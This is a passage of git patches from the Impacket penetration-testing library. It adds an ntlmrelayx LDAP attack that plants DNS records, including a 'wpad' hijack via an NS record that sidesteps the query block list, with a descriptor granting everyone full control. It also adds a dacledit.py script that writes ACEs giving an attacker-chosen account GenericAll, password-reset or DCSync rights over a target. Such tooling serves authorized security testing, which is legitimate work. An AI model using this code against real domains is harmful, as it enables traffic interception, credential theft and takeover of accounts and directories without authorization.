SID'] = PACparseSID(kerbdata['LogonDomainId']) + + # LogonDomainId parsing + if kerbdata['LogonDomainId'] == b'': + parsed_data['Logon Domain SID'] = kerbdata['LogonDomainId'] + else: + parsed_data['Logon Domain SID'] = kerbdata['LogonDomainId'].formatCanonical() + + # UserAccountControl parsing UAC = kerbdata['UserAccountControl'] UAC_Flags = [] - for flag in UserAccountControl_Flags: + for flag in USER_ACCOUNT_Codes: if UAC & flag.value: UAC_Flags.append(flag.name) parsed_data['User Account Control'] = "(%s) %s" % (UAC, ", ".join(UAC_Flags)) parsed_data['Extra SID Count'] = kerbdata['SidCount'] - parsed_data['Extra SIDs'] = ', '.join([sid for sid in PACparseExtraSids(kerbdata.fields['ExtraSids'])]) - parsed_data['Resource Group Domain SID'] = PACparseSID(kerbdata.fields['ResourceGroupDomainSid']) + extraSids = [] + + # ExtraSids parsing + for extraSid in kerbdata['ExtraSids']: + sid = extraSid['Sid'].formatCanonical() + attributes = extraSid['Attributes'] + attributes_flags = [] + for flag in SE_GROUP_Attributes: + if attributes & flag.value: + attributes_flags.append(flag.name) + extraSids.append("%s (%s)" % (sid, ', '.join(attributes_flags))) + parsed_data['Extra SIDs'] = ', '.join(extraSids) + + # ResourceGroupDomainSid parsing + if kerbdata['ResourceGroupDomainSid'] == b'': + parsed_data['Resource Group Domain SID'] = kerbdata['ResourceGroupDomainSid'] + else: + parsed_data['Resource Group Domain SID'] = kerbdata['ResourceGroupDomainSid'].formatCanonical() + parsed_data['Resource Group Count'] = kerbdata['ResourceGroupCount'] parsed_data['Resource Group Ids'] = ', '.join([str(gid['RelativeId']) for gid in PACparseGroupIds(kerbdata['ResourceGroupIds'])]) parsed_data['LMKey'] = hexlify(kerbdata['LMKey']).decode('utf-8') @@ -306,27 +339,25 @@ def PACparseExtraSids(sid_and_attributes_array): clientInfo.fromString(data) parsed_data = {} try: - parsed_data['Client Id'] = PACparseFILETIME(clientInfo.fields['ClientId']) - except Exception as e: - logging.debug(e) - logging.debug("Trying to parse the value with another method") + parsed_data['Client Id'] = PACparseFILETIME(clientInfo['ClientId']) + except: try: parsed_data['Client Id'] = PACparseFILETIME(FILETIME(data[:32])) except Exception as e: logging.error(e) - parsed_data['Client Name'] = clientInfo.fields['Name'].decode('utf-16-le') + parsed_data['Client Name'] = clientInfo['Name'].decode('utf-16-le') parsed_tuPAC.append({"ClientName": parsed_data}) elif infoBuffer['ulType'] == pac.PAC_UPN_DNS_INFO: upn = pac.UPN_DNS_INFO(data) - UpnLength = upn.fields['UpnLength'] - UpnOffset = upn.fields['UpnOffset'] + UpnLength = upn['UpnLength'] + UpnOffset = upn['UpnOffset'] UpnName = data[UpnOffset:UpnOffset+UpnLength].decode('utf-16-le') - DnsDomainNameLength = upn.fields['DnsDomainNameLength'] - DnsDomainNameOffset = upn.fields['DnsDomainNameOffset'] + DnsDomainNameLength = upn['DnsDomainNameLength'] + DnsDomainNameOffset = upn['DnsDomainNameOffset'] DnsName = data[DnsDomainNameOffset:DnsDomainNameOffset + DnsDomainNameLength].decode('utf-16-le') parsed_data = {} - parsed_data['Flags'] = upn.fields['Flags'] + parsed_data['Flags'] = upn['Flags'] parsed_data['UPN'] = UpnName parsed_data['DNS Domain Name'] = DnsName parsed_tuPAC.append({"UpnDns": parsed_data}) @@ -334,16 +365,16 @@ def PACparseExtraSids(sid_and_attributes_array): elif infoBuffer['ulType'] == pac.PAC_SERVER_CHECKSUM: signatureData = pac.PAC_SIGNATURE_DATA(data) parsed_data = {} - parsed_data['Signature Type'] = ChecksumTypes(signatureData.fields['SignatureType']).name - parsed_data['Signature'] = hexlify(signatureData.fields['Signature']).decode('utf-8') + parsed_data['Signature Type'] = ChecksumTypes(signatureData['SignatureType']).name + parsed_data['Signature'] = hexlify(signatureData['Signature']).decode('utf-8') parsed_tuPAC.append({"ServerChecksum": parsed_data}) elif infoBuffer['ulType'] == pac.PAC_PRIVSVR_CHECKSUM: signatureData = pac.PAC_SIGNATURE_DATA(data) parsed_data = {} - parsed_data['Signature Type'] = ChecksumTypes(signatureData.fields['SignatureType']).name + parsed_data['Signature Type'] = ChecksumTypes(signatureData['SignatureType']).name # signatureData.dump() - parsed_data['Signature'] = hexlify(signatureData.fields['Signature']).decode('utf-8') + parsed_data['Signature'] = hexlify(signatureData['Signature']).decode('utf-8') parsed_tuPAC.append({"KDCChecksum": parsed_data}) elif infoBuffer['ulType'] == pac.PAC_CREDENTIALS_INFO: From 6a8d16ce7a8aa650cbac4b350e48585e31a31ec2 Mon Sep 17 00:00:00 2001 From: SAERXCIT <78735647+SAERXCIT@users.noreply.github.com> Date: Sun, 20 Mar 2022 13:15:12 +0100 Subject: [PATCH 097/152] LDAP attack: Add DNS records to LDAP --- examples/ntlmrelayx.py | 7 +- .../examples/ntlmrelayx/attacks/ldapattack.py | 152 ++++++++++++++++++ impacket/examples/ntlmrelayx/utils/config.py | 3 +- 3 files changed, 160 insertions(+), 2 deletions(-) diff --git a/examples/ntlmrelayx.py b/examples/ntlmrelayx.py index 4ac3697bd4..0d45b860fa 100755 --- a/examples/ntlmrelayx.py +++ b/examples/ntlmrelayx.py @@ -152,7 +152,7 @@ def start_servers(options, threads): c.setAttacks(PROTOCOL_ATTACKS) c.setLootdir(options.lootdir) c.setOutputFile(options.output_file) - c.setLDAPOptions(options.no_dump, options.no_da, options.no_acl, options.no_validate_privs, options.escalate_user, options.add_computer, options.delegate_access, options.dump_laps, options.dump_gmsa, options.dump_adcs, options.sid) + c.setLDAPOptions(options.no_dump, options.no_da, options.no_acl, options.no_validate_privs, options.escalate_user, options.add_computer, options.delegate_access, options.dump_laps, options.dump_gmsa, options.dump_adcs, options.sid, options.add_dns_record) c.setRPCOptions(options.rpc_mode, options.rpc_use_smb, options.auth_smb, options.hashes_smb, options.rpc_smb_port) c.setMSSQLOptions(options.query) c.setInteractive(options.interactive) @@ -317,6 +317,7 @@ def stop_servers(threads): ldapoptions.add_argument('--dump-laps', action='store_true', required=False, help='Attempt to dump any LAPS passwords readable by the user') ldapoptions.add_argument('--dump-gmsa', action='store_true', required=False, help='Attempt to dump any gMSA passwords readable by the user') ldapoptions.add_argument('--dump-adcs', action='store_true', required=False, help='Attempt to dump ADCS enrollment services and certificate templates info') + ldapoptions.add_argument('--add-dns-record', nargs=2, action='store', metavar=('NAME', 'IPADDR'), required=False, help='Add the record to DNS via LDAP pointing to ') #IMAP options imapoptions = parser.add_argument_group("IMAP client options") @@ -359,6 +360,10 @@ def stop_servers(threads): from impacket.examples.ntlmrelayx.clients import PROTOCOL_CLIENTS from impacket.examples.ntlmrelayx.attacks import PROTOCOL_ATTACKS + if options.add_dns_record: + dns_name = options.add_dns_record[0].lower() + if dns_name == 'wpad' or dns_name == '*': + logging.warning('You are asking to add a `wpad` or a wildcard DNS name. This can cause disruption in larger networks (using multiple DNS subdomains) or if workstations already use a proxy config.') if options.codec is not None: codec = options.codec diff --git a/impacket/examples/ntlmrelayx/attacks/ldapattack.py b/impacket/examples/ntlmrelayx/attacks/ldapattack.py index 9b16ee8725..3e44f291a6 100644 --- a/impacket/examples/ntlmrelayx/attacks/ldapattack.py +++ b/impacket/examples/ntlmrelayx/attacks/ldapattack.py @@ -22,6 +22,7 @@ import binascii import codecs import re +import dns.resolver import ldap3 import ldapdomaindump from ldap3.core.results import RESULT_UNWILLING_TO_PERFORM @@ -30,6 +31,8 @@ from ldap3.utils.conv import escape_filter_chars import os from Cryptodome.Hash import MD4 +from ipaddress import IPv4Address, AddressValueError +from functools import partial from impacket import LOG from impacket.examples.ldap_shell import LdapShell @@ -666,6 +669,134 @@ def translate_sids(sids): LOG.info("Done dumping ADCS info") + def addDnsRecord(self, name, ipaddr): + # https://github.com/Kevin-Robertson/Powermad/blob/master/Powermad.ps1 + def new_dns_namearray(data): + index_array = [pos for pos, char in enumerate(data) if char == '.'] + name_array = bytearray() + if len(index_array) > 0: + name_start = 0 + for index in index_array: + name_end = index - name_start + name_array.append(name_end) + name_array.extend(data[name_start:name_end+name_start].encode("utf8")) + name_start = index + 1 + name_array.append(len(data) - name_start) + name_array.extend(data[name_start:].encode("utf8")) + else: + name_array.append(len(data)) + name_array.extend(data.encode("utf8")) + return name_array + + def new_dns_record(data, type): + if type == "A": + addr_data = data.split('.') + dns_type = bytearray((0x1, 0x0)) + dns_length = int_to_4_bytes(len(addr_data))[0:2] + dns_data = bytearray(map(int, addr_data)) + elif type == "NS": + dns_type = bytearray((0x2, 0x0)) + dns_length = int_to_4_bytes(len(data) + 4)[0:2] + dns_data = bytearray() + dns_data.append(len(data) + 2) + dns_data.append(len(data.split("."))) + dns_data.extend(new_dns_namearray(data)) + dns_data.append(0) + else: + return False + + dns_ttl = bytearray(reversed(int_to_4_bytes(60))) + dns_record = bytearray(dns_length) + dns_record.extend(dns_type) + dns_record.extend(bytearray((0x05, 0xF0, 0x00, 0x00))) + dns_record.extend(int_to_4_bytes(get_next_serial_p())) + dns_record.extend(dns_ttl) + dns_record.extend((0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00)) + dns_record.extend(dns_data) + return dns_record + + def int_to_4_bytes(num): + arr = bytearray() + for i in range(4): + arr.append(num & 0xff) + num >>= 8 + return arr + + # https://github.com/dirkjanm/krbrelayx/blob/master/dnstool.py + def get_next_serial(server, zone): + dnsresolver = dns.resolver.Resolver() + dnsresolver.nameservers = [server] + res = dnsresolver.resolve(zone, 'SOA',tcp=True) + for answer in res: + return answer.serial + 1 + + try: + dns_naming_context = next((nc for nc in self.client.server.info.naming_contexts if "domaindnszones" in nc.lower())) + except StopIteration: + LOG.error('Could not find DNS naming context, aborting') + return + + domaindn = self.client.server.info.other['defaultNamingContext'][0] + domain = re.sub(',DC=', '.', domaindn[domaindn.find('DC='):], flags=re.I)[3:] + dns_base_dn = 'DC=%s,CN=MicrosoftDNS,%s' % (domain, dns_naming_context) + + get_next_serial_p = partial(get_next_serial, self.client.server.address_info[0][4][0], domain) + + LOG.info('Checking if domain already has a `%s` DNS record' % name) + if self.client.search(dns_base_dn, '(name=%s)' % escape_filter_chars(name), search_scope=ldap3.LEVEL): + LOG.error('Domain already has a `%s` DNS record, aborting' % name) + return + + LOG.info('Domain does not have a `%s` record!' % name) + + ACL_ALLOW_EVERYONE_EVERYTHING = b'\x01\x00\x04\x9c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x14\x00\x00\x00\x02\x000\x00\x02\x00\x00\x00\x00\x00\x14\x00\xff\x01\x0f\x00\x01\x01\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\n\x14\x00\x00\x00\x00\x10\x01\x01\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00' + + a_record_name = name + is_name_wpad = (a_record_name.lower() == 'wpad') + + if is_name_wpad: + LOG.info('To add the `wpad` name, we need to bypass the GQBL: we\'ll first add a random `A` name and then add `wpad` as `NS` pointing to that name') + a_record_name = ''.join(random.choice(string.ascii_lowercase) for _ in range(12)) + + # First add an A record pointing to the provided IP + a_record_dn = 'DC=%s,%s' % (a_record_name, dns_base_dn) + a_record_data = { + 'dnsRecord': new_dns_record(ipaddr, "A"), + 'objectCategory': 'CN=Dns-Node,%s' % self.client.server.info.other['schemaNamingContext'][0], + 'dNSTombstoned': False, + 'name': a_record_name, + 'nTSecurityDescriptor': ACL_ALLOW_EVERYONE_EVERYTHING, + } + + LOG.info('Adding `A` record `%s` pointing to `%s` at `%s`' % (a_record_name, ipaddr, a_record_dn)) + if not self.client.add(a_record_dn, ['top', 'dnsNode'], a_record_data): + LOG.error('Failed to add `A` record: ' % str(self.client.result)) + return + + LOG.info('Added `A` record `%s`. DON\'T FORGET TO CLEANUP (set `dNSTombstoned` to `TRUE`, set `dnsRecord` to a NULL byte)' % a_record_name) + + if not is_name_wpad: + return + + # Then add the wpad NS record + ns_record_name = 'wpad' + ns_record_dn = 'DC=%s,%s' % (ns_record_name, dns_base_dn) + ns_record_value = a_record_name + "." + domain + ns_record_data = { + 'dnsRecord': new_dns_record(ns_record_value, "NS"), + 'objectCategory': 'CN=Dns-Node,%s' % self.client.server.info.other['schemaNamingContext'][0], + 'dNSTombstoned': False, + 'name': ns_record_name, + 'nTSecurityDescriptor': ACL_ALLOW_EVERYONE_EVERYTHING, + } + + LOG.info('Adding `NS` record `%s` pointing to `%s` at `%s`' % (ns_record_name, ns_record_value, ns_record_dn)) + if not self.client.add(ns_record_dn, ['top', 'dnsNode'], ns_record_data): + LOG.error('Failed to add `NS` record `wpad`: ' % str(self.client.result)) + return + + LOG.info('Added `NS` record `%s`. DON\'T FORGET TO CLEANUP (set `dNSTombstoned` to `TRUE`, set `dnsRecord` to a NULL byte)' % ns_record_name) + def run(self): #self.client.search('dc=vulnerable,dc=contoso,dc=com', '(objectclass=person)') @@ -837,6 +968,27 @@ def run(self): if self.config.dumpadcs: self.dumpADCS() + if self.config.adddnsrecord: + name = self.config.adddnsrecord[0] + ipaddr = self.config.adddnsrecord[1] + + dns_name_ok = True + dns_ipaddr_ok = True + + # DNS name can either be a wildcard or just contain alphanum and hyphen + if (name != '*') and (re.search(r'[^0-9a-z-]', name, re.I)): + LOG.error("Invalid name for DNS record") + dns_name_ok = False + + try: + IPv4Address(ipaddr) + except AddressValueError: + LOG.error("Invalid IPv4 for DNS record") + dns_ipaddr_ok = False + + if dns_name_ok and dns_ipaddr_ok: + self.addDnsRecord(name, ipaddr) + # Perform the Delegate attack if it is enabled and we relayed a computer account if self.config.delegateaccess and self.username[-1] == '$': self.delegateAttack(self.config.escalateuser, self.username, domainDumper, self.config.sid) diff --git a/impacket/examples/ntlmrelayx/utils/config.py b/impacket/examples/ntlmrelayx/utils/config.py index 1fdb98ad78..d1d42458ba 100644 --- a/impacket/examples/ntlmrelayx/utils/config.py +++ b/impacket/examples/ntlmrelayx/utils/config.py @@ -160,7 +160,7 @@ def setDomainAccount(self, machineAccount, machineHashes, domainIp): def setRandomTargets(self, randomtargets): self.randomtargets = randomtargets - def setLDAPOptions(self, dumpdomain, addda, aclattack, validateprivs, escalateuser, addcomputer, delegateaccess, dumplaps, dumpgmsa, dumpadcs, sid): + def setLDAPOptions(self, dumpdomain, addda, aclattack, validateprivs, escalateuser, addcomputer, delegateaccess, dumplaps, dumpgmsa, dumpadcs, sid, adddnsrecord): self.dumpdomain = dumpdomain self.addda = addda self.aclattack = aclattack @@ -172,6 +172,7 @@ def setLDAPOptions(self, dumpdomain, addda, aclattack, validateprivs, escalateus self.dumpgmsa = dumpgmsa self.dumpadcs = dumpadcs self.sid = sid + self.adddnsrecord = adddnsrecord def setMSSQLOptions(self, queries): self.queries = queries From 16c4dfe2f985a0d84e24343fdf596fea602adef0 Mon Sep 17 00:00:00 2001 From: Shutdown Date: Thu, 31 Mar 2022 18:56:44 +0200 Subject: [PATCH 098/152] Laying ground --- examples/dacledit.py | 467 +++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 467 insertions(+) create mode 100644 examples/dacledit.py diff --git a/examples/dacledit.py b/examples/dacledit.py new file mode 100644 index 0000000000..ba3ae7dbe7 --- /dev/null +++ b/examples/dacledit.py @@ -0,0 +1,467 @@ +#!/usr/bin/env python3 +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Description: +# Python script for handling the msDS-AllowedToActOnBehalfOfOtherIdentity property of a target computer +# +# Authors: +# Charlie Bromberg (@_nwodtuhs) +# @BlWasp_ +# + +import argparse +import logging +import sys +import traceback +import ldap3 +import ssl +import ldapdomaindump +from binascii import unhexlify +from enum import Enum +from ldap3.protocol.formatters.formatters import format_sid + +from impacket import version +from impacket.examples import logger, utils +from impacket.ldap import ldaptypes +from impacket.smbconnection import SMBConnection +from impacket.spnego import SPNEGO_NegTokenInit, TypesMech +from ldap3.utils.conv import escape_filter_chars +from ldap3.protocol.microsoft import security_descriptor_control +from impacket.uuid import string_to_bin, bin_to_string + +class RIGHTS_GUID(Enum): + DS_REPLICATION_GET_CHANGES = "1131f6aa-9c07-11d1-f79f-00c04fc2dcd2" + DS_REPLICATION_GET_CHANGES_ALL = "1131f6ad-9c07-11d1-f79f-00c04fc2dcd2" + WRITE_MEMBERS = "bf9679c0-0de6-11d0-a285-00aa003049e2" + RESET_PASSWORD = "00299570-246d-11d0-a768-00aa006e0529" + +def get_machine_name(args, domain): + if args.dc_ip is not None: + s = SMBConnection(args.dc_ip, args.dc_ip) + else: + s = SMBConnection(domain, domain) + try: + s.login('', '') + except Exception: + if s.getServerName() == '': + raise Exception('Error while anonymous logging into %s' % domain) + else: + s.logoff() + return s.getServerName() + + +def ldap3_kerberos_login(connection, target, user, password, domain='', lmhash='', nthash='', aesKey='', kdcHost=None, + TGT=None, TGS=None, useCache=True): + from pyasn1.codec.ber import encoder, decoder + from pyasn1.type.univ import noValue + """ + logins into the target system explicitly using Kerberos. Hashes are used if RC4_HMAC is supported. + :param string user: username + :param string password: password for the user + :param string domain: domain where the account is valid for (required) + :param string lmhash: LMHASH used to authenticate using hashes (password is not used) + :param string nthash: NTHASH used to authenticate using hashes (password is not used) + :param string aesKey: aes256-cts-hmac-sha1-96 or aes128-cts-hmac-sha1-96 used for Kerberos authentication + :param string kdcHost: hostname or IP Address for the KDC. If None, the domain will be used (it needs to resolve tho) + :param struct TGT: If there's a TGT available, send the structure here and it will be used + :param struct TGS: same for TGS. See smb3.py for the format + :param bool useCache: whether or not we should use the ccache for credentials lookup. If TGT or TGS are specified this is False + :return: True, raises an Exception if error. + """ + + if lmhash != '' or nthash != '': + if len(lmhash) % 2: + lmhash = '0' + lmhash + if len(nthash) % 2: + nthash = '0' + nthash + try: # just in case they were converted already + lmhash = unhexlify(lmhash) + nthash = unhexlify(nthash) + except TypeError: + pass + + # Importing down here so pyasn1 is not required if kerberos is not used. + from impacket.krb5.ccache import CCache + from impacket.krb5.asn1 import AP_REQ, Authenticator, TGS_REP, seq_set + from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS + from impacket.krb5 import constants + from impacket.krb5.types import Principal, KerberosTime, Ticket + import datetime + + if TGT is not None or TGS is not None: + useCache = False + + target = 'ldap/%s' % target + if useCache: + domain, user, TGT, TGS = CCache.parseFile(domain, user, target) + + # First of all, we need to get a TGT for the user + userName = Principal(user, type=constants.PrincipalNameType.NT_PRINCIPAL.value) + if TGT is None: + if TGS is None: + tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, password, domain, lmhash, nthash, + aesKey, kdcHost) + else: + tgt = TGT['KDC_REP'] + cipher = TGT['cipher'] + sessionKey = TGT['sessionKey'] + + if TGS is None: + serverName = Principal(target, type=constants.PrincipalNameType.NT_SRV_INST.value) + tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, domain, kdcHost, tgt, cipher, + sessionKey) + else: + tgs = TGS['KDC_REP'] + cipher = TGS['cipher'] + sessionKey = TGS['sessionKey'] + + # Let's build a NegTokenInit with a Kerberos REQ_AP + + blob = SPNEGO_NegTokenInit() + + # Kerberos + blob['MechTypes'] = [TypesMech['MS KRB5 - Microsoft Kerberos 5']] + + # Let's extract the ticket from the TGS + tgs = decoder.decode(tgs, asn1Spec=TGS_REP())[0] + ticket = Ticket() + ticket.from_asn1(tgs['ticket']) + + # Now let's build the AP_REQ + apReq = AP_REQ() + apReq['pvno'] = 5 + apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value) + + opts = [] + apReq['ap-options'] = constants.encodeFlags(opts) + seq_set(apReq, 'ticket', ticket.to_asn1) + + authenticator = Authenticator() + authenticator['authenticator-vno'] = 5 + authenticator['crealm'] = domain + seq_set(authenticator, 'cname', userName.components_to_asn1) + now = datetime.datetime.utcnow() + + authenticator['cusec'] = now.microsecond + authenticator['ctime'] = KerberosTime.to_asn1(now) + + encodedAuthenticator = encoder.encode(authenticator) + + # Key Usage 11 + # AP-REQ Authenticator (includes application authenticator + # subkey), encrypted with the application session key + # (Section 5.5.1) + encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 11, encodedAuthenticator, None) + + apReq['authenticator'] = noValue + apReq['authenticator']['etype'] = cipher.enctype + apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator + + blob['MechToken'] = encoder.encode(apReq) + + request = ldap3.operation.bind.bind_operation(connection.version, ldap3.SASL, user, None, 'GSS-SPNEGO', + blob.getData()) + + # Done with the Kerberos saga, now let's get into LDAP + if connection.closed: # try to open connection if closed + connection.open(read_server_info=False) + + connection.sasl_in_progress = True + response = connection.post_send_single_response(connection.send('bindRequest', request, None)) + connection.sasl_in_progress = False + if response[0]['result'] != 0: + raise Exception(response) + + connection.bound = True + + return True + + + +# Create an ALLOW ACE with the specified sid +def create_access_allowed_ace(access_mask, sid): + nace = ldaptypes.ACE() + nace['AceType'] = ldaptypes.ACCESS_ALLOWED_ACE.ACE_TYPE + nace['AceFlags'] = 0x00 + acedata = ldaptypes.ACCESS_ALLOWED_ACE() + acedata['Mask'] = ldaptypes.ACCESS_MASK() + acedata['Mask']['Mask'] = access_mask + acedata['Sid'] = ldaptypes.LDAP_SID() + acedata['Sid'].fromCanonical(sid) + nace['Ace'] = acedata + return nace + +# Create an object ACE with the specified privguid and our sid +def create_access_allowed_object_ace(privguid, sid): + nace = ldaptypes.ACE() + nace['AceType'] = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE + nace['AceFlags'] = 0x00 + acedata = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE() + acedata['Mask'] = ldaptypes.ACCESS_MASK() + acedata['Mask']['Mask'] = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_CONTROL_ACCESS + acedata['ObjectType'] = string_to_bin(privguid) + acedata['InheritedObjectType'] = b'' + acedata['Sid'] = ldaptypes.LDAP_SID() + acedata['Sid'].fromCanonical(sid) + assert sid == acedata['Sid'].formatCanonical() + acedata['Flags'] = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ACE_OBJECT_TYPE_PRESENT + nace['Ace'] = acedata + return nace + +class DACLedit(object): + """docstring for setrbcd""" + + def __init__(self, ldap_server, ldap_session, target_account): + super(DACLedit, self).__init__() + self.ldap_server = ldap_server + self.ldap_session = ldap_session + self.controlled_account = None + self.controlled_account_sid = None + self.target_account = target_account + self.target_principal = None + logging.debug('Initializing domainDumper()') + cnf = ldapdomaindump.domainDumpConfig() + cnf.basepath = None + self.domain_dumper = ldapdomaindump.domainDumper(self.ldap_server, self.ldap_session, cnf) + + def read(self): + # Set SD flags to only query for DACL + controls = security_descriptor_control(sdflags=0x04) + self.ldap_session.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(self.target_account), attributes=['SAMAccountName', 'nTSecurityDescriptor'], controls=controls) + try: + self.target_principal = self.ldap_session.entries[0] + secDescData = self.target_principal['nTSecurityDescriptor'].raw_values[0] + secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR(data=secDescData) + # todo we now need to pars the DACL to print an ACE type, mask, SID, rights, etc. + # for ace in secDesc['Dacl']['Data']: + # print(ace) + except IndexError: + logging.error('Principal not found in LDAP: %s' % self.target_account) + return False + return + + def write(self, controlled_account, rights, rights_guid): + self.controlled_account = controlled_account + result = self.get_user_info(self.controlled_account) + if not result: + logging.error('Account to modify does not exist! (forgot "$" for a computer account? wrong domain?)') + return + self.controlled_account_sid = str(result[1]) + logging.debug("Controlled account SID: %s" % self.controlled_account_sid) + + # Set SD flags to only query for DACL + controls = security_descriptor_control(sdflags=0x04) + self.ldap_session.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(self.target_account), attributes=['SAMAccountName', 'nTSecurityDescriptor'], controls=controls) + try: + self.target_principal = self.ldap_session.entries[0] + except IndexError: + logging.error('Principal not found in LDAP: %s' % self.target_account) + return False + secDescData = self.target_principal['nTSecurityDescriptor'].raw_values[0] + secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR(data=secDescData) + if rights == "GenericAll" and rights_guid is None: + logging.info("Appending ACE (%s --(GENERIC_ALL)--> %s)" % (self.controlled_account_sid, self.target_account)) + # todo check if rights already there, not changing if they are + secDesc['Dacl']['Data'].append(create_access_allowed_ace(ldaptypes.ACCESS_MASK.GENERIC_ALL, self.controlled_account_sid)) + pass + else: + rights_guids = [] + if rights_guid is not None: + rights_guids = [ rights_guid ] + elif rights == "WriteMembers": + rights_guids = [ RIGHTS_GUID.WRITE_MEMBERS ] + elif rights == "ResetPassword": + rights_guids = [ RIGHTS_GUID.RESET_PASSWORD ] + elif rights == "DCSync": + rights_guids = [ RIGHTS_GUID.DS_REPLICATION_GET_CHANGES, + RIGHTS_GUID.DS_REPLICATION_GET_CHANGES_ALL ] + for rights_guid in rights_guids: + # todo check if rights already there, not changing if they are + logging.info("Appending ACE (%s --(%s)--> %s)" % (self.controlled_account_sid, rights_guid.name, self.target_account)) + secDesc['Dacl']['Data'].append(create_access_allowed_object_ace(rights_guid.value, self.controlled_account_sid)) + dn = self.target_principal.entry_dn + data = secDesc.getData() + self.ldap_session.modify(dn, {'nTSecurityDescriptor': (ldap3.MODIFY_REPLACE, [data])}, controls=controls) + if self.ldap_session.result['result'] == 0: + logging.info('DACL modified successfully!') + else: + if self.ldap_session.result['result'] == 50: + logging.error('Could not modify object, the server reports insufficient rights: %s', + self.ldap_session.result['message']) + elif self.ldap_session.result['result'] == 19: + logging.error('Could not modify object, the server reports a constrained violation: %s', + self.ldap_session.result['message']) + else: + logging.error('The server returned an error: %s', self.ldap_session.result['message']) + return + + def remove(self, controlled_account, rights_guid): + # todo, we need to parse a DACL + pass + + def flush(self): + # todo but implement a check, it could be a reeeeeaaally bad idea to flush an object DACL + pass + + def backup(self, controlled_account, backup_filename): + # todo, check the format of the restore file when using ntlmrelayx, it could be nice to bring support for this, aclpwn is a bit old and not maintained anymore + pass + + def restore(self, controlled_account, backup_filename): + # todo, check the format of the restore file when using ntlmrelayx, it could be nice to bring support for this, aclpwn is a bit old and not maintained anymore + pass + + def get_user_info(self, samname): + self.ldap_session.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(samname), attributes=['objectSid']) + try: + dn = self.ldap_session.entries[0].entry_dn + sid = format_sid(self.ldap_session.entries[0]['objectSid'].raw_values[0]) + return dn, sid + except IndexError: + logging.error('User not found in LDAP: %s' % samname) + return False + + +def parse_args(): + parser = argparse.ArgumentParser(add_help=True, description='Python editor for a principal\'s DACL.') + parser.add_argument('identity', action='store', help='domain.local/username[:password]') + parser.add_argument("-from", dest="controlled_account", type=str, required=False, help="Attacker controlled principal to add for the ACE") + parser.add_argument("-to", dest="target_account", type=str, required=False, help="Target principal the attacker has WriteDACL to") + parser.add_argument('-action', choices=['read', 'write', 'remove'], nargs='?', default='read', help='Action to operate on the DACL') + parser.add_argument('-rights', choices=['GenericAll', 'ResetPassword', 'WriteMembers', 'DCSync'], nargs='?', default='GenericAll', help='Rights to write/remove in the target DACL') + parser.add_argument('-rights-guid', type=str, help='Manual GUID representing the right to add to the target') + parser.add_argument('-use-ldaps', action='store_true', help='Use LDAPS instead of LDAP') + parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') + parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') + group = parser.add_argument_group('authentication') + group.add_argument('-hashes', action="store", metavar="LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') + group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') + group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) ' + 'based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command line') + group.add_argument('-aesKey', action="store", metavar="hex key", help='AES key to use for Kerberos Authentication (128 or 256 bits)') + group = parser.add_argument_group('connection') + group.add_argument('-dc-ip', action='store', metavar="ip address", help='IP Address of the domain controller or KDC (Key Distribution Center)' + ' for Kerberos. If omitted it will use the domain part (FQDN) specified in the identity parameter') + + if len(sys.argv) == 1: + parser.print_help() + sys.exit(1) + + return parser.parse_args() + + +def parse_identity(args): + domain, username, password = utils.parse_credentials(args.identity) + + if domain == '': + logging.critical('Domain should be specified!') + sys.exit(1) + + if password == '' and username != '' and args.hashes is None and args.no_pass is False and args.aesKey is None: + from getpass import getpass + logging.info("No credentials supplied, supply password") + password = getpass("Password:") + + if args.aesKey is not None: + args.k = True + + if args.hashes is not None: + lmhash, nthash = args.hashes.split(':') + else: + lmhash = '' + nthash = '' + + return domain, username, password, lmhash, nthash + + +def init_logger(args): + # Init the example's logger theme and debug level + logger.init(args.ts) + if args.debug is True: + logging.getLogger().setLevel(logging.DEBUG) + # Print the Library's installation path + logging.debug(version.getInstallationPath()) + else: + logging.getLogger().setLevel(logging.INFO) + logging.getLogger('impacket.smbserver').setLevel(logging.ERROR) + + +def init_ldap_connection(target, tls_version, args, domain, username, password, lmhash, nthash): + user = '%s\\%s' % (domain, username) + if tls_version is not None: + use_ssl = True + port = 636 + tls = ldap3.Tls(validate=ssl.CERT_NONE, version=tls_version) + else: + use_ssl = False + port = 389 + tls = None + ldap_server = ldap3.Server(target, get_info=ldap3.ALL, port=port, use_ssl=use_ssl, tls=tls) + if args.k: + ldap_session = ldap3.Connection(ldap_server) + ldap_session.bind() + ldap3_kerberos_login(ldap_session, target, username, password, domain, lmhash, nthash, args.aesKey, kdcHost=args.dc_ip) + elif args.hashes is not None: + ldap_session = ldap3.Connection(ldap_server, user=user, password=lmhash + ":" + nthash, authentication=ldap3.NTLM, auto_bind=True) + else: + ldap_session = ldap3.Connection(ldap_server, user=user, password=password, authentication=ldap3.NTLM, 